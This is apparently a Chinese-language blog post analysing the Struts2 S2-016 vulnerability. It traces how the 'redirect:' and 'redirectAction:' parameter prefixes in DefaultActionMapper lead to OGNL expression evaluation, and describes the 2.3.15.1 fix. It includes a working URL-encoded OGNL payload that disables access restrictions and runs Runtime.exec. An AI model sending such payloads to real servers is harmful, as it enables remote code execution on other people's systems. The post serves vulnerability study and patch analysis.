前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

2.3.14.3 版本的 struts2 + Tomcat 9。

不需要加什么代码。

漏洞利用

利用 payload(redirect 和 redirect 需要已有的 Action):

http://localhost:8080/login.action
?redirect:%25%7b%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3dfalse,%23m%3d%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')%7d

action 参数似乎无法触发,没有进行表达式解析。

漏洞分析

根据 action 的 action 不存在的报错栈,可以找到 DefaultActionProxy 类的 prepare 方法,错误原因就是将 action 参数的值作为一个 Action 名而不是一个表达式,导致获取相关配置时失败:

config = configuration.getRuntimeConfiguration().getActionConfig(namespace, actionName);

if (config == null && unknownHandlerManager.hasUnknownHandlers()) {
    config = unknownHandlerManager.handleUnknownAction(namespace, actionName);
}
if (config == null) {
    throw new ConfigurationException(getErrorMessage());
}

继续往上寻找,可以看到 actionName 和 namespace 来自 mapping:

String namespace = mapping.getNamespace();
String name = mapping.getName();
String method = mapping.getMethod();

Configuration config = configurationManager.getConfiguration();
ActionProxy proxy = config.getContainer().getInstance(ActionProxyFactory.class).createActionProxy(
    namespace, name, method, extraContext, true, false);

继续往上,可以找到 DefaultActionMapper 类的 handleSpecialParameters 方法:

public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) {
    // handle special parameter prefixes.
    Set<String> uniqueParameters = new HashSet<String>();
    Map parameterMap = request.getParameterMap();
    for (Object o : parameterMap.keySet()) {
        String key = (String) o;

        // Strip off the image button location info, if found
        if (key.endsWith(".x") || key.endsWith(".y")) {
            key = key.substring(0, key.length() - 2);
        }

        // Ensure a parameter doesn't get processed twice
        if (!uniqueParameters.contains(key)) {
            ParameterAction parameterAction = (ParameterAction) prefixTrie.get(key);
            if (parameterAction != null) {
                parameterAction.execute(key, mapping);
                uniqueParameters.add(key);
                break;
            }
        }
    }
}

调用 parameterAction.execute 函数时会向 mapping 里面设置 name、result 等成员,比如 action、redirect 和 redirectAction 的 execute 函数(DefaultActionMapper 类中):

put(ACTION_PREFIX, new ParameterAction() {
    public void execute(String key, ActionMapping mapping) {
        String name = key.substring(ACTION_PREFIX.length());
        if (allowDynamicMethodCalls) {
            int bang = name.indexOf('!');
            if (bang != -1) {
                String method = name.substring(bang + 1);
                mapping.setMethod(method);
                name = name.substring(0, bang);
            }
        }
        mapping.setName(name);
    }
});

put(REDIRECT_PREFIX, new ParameterAction() {
    public void execute(String key, ActionMapping mapping) {
        ServletRedirectResult redirect = new ServletRedirectResult();
        container.inject(redirect);
        redirect.setLocation(key.substring(REDIRECT_PREFIX
                .length()));
        mapping.setResult(redirect);
    }
});

put(REDIRECT_ACTION_PREFIX, new ParameterAction() {
    public void execute(String key, ActionMapping mapping) {
        String location = key.substring(REDIRECT_ACTION_PREFIX
                                        .length());
        ServletRedirectResult redirect = new ServletRedirectResult();
        container.inject(redirect);
        String extension = getDefaultExtension();
        if (extension != null && extension.length() > 0) {
            location += "." + extension;
        }
        redirect.setLocation(location);
        mapping.setResult(redirect);
    }
});

可以看到,参数名为 action 的情况下,会将值作为 name,也就是后面的 actionName,也就导致了后面无法找到对应 action 的错误。

而在 redirect 和 redirectAction 的情况下,完成 createActionProxy 后来到这里:

// if the ActionMapping says to go straight to a result, do it!
if (mapping.getResult() != null) {
    Result result = mapping.getResult();
    result.execute(proxy.getInvocation());
} else {
    proxy.execute();
}

因为当时将表达式作为了 result,所以会进入 result 的 execute 函数,来到:

public void execute(ActionInvocation invocation) throws Exception {
    lastFinalLocation = conditionalParse(location, invocation);
    doExecute(lastFinalLocation, invocation);
}

可以发现这里就是 S2-015 里面通配符 action 的表达式解析触发点。

漏洞修复

2.3.15.1 版本的修复,直接删除了 DefaultActionMapper 类中 redirect 和 redirectAction 的 execute 函数,还给 action 的 action 名做了清理(类似 S2-015)。


Orz


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-020/S2-021/S2-022
struts2系列漏洞 S2-015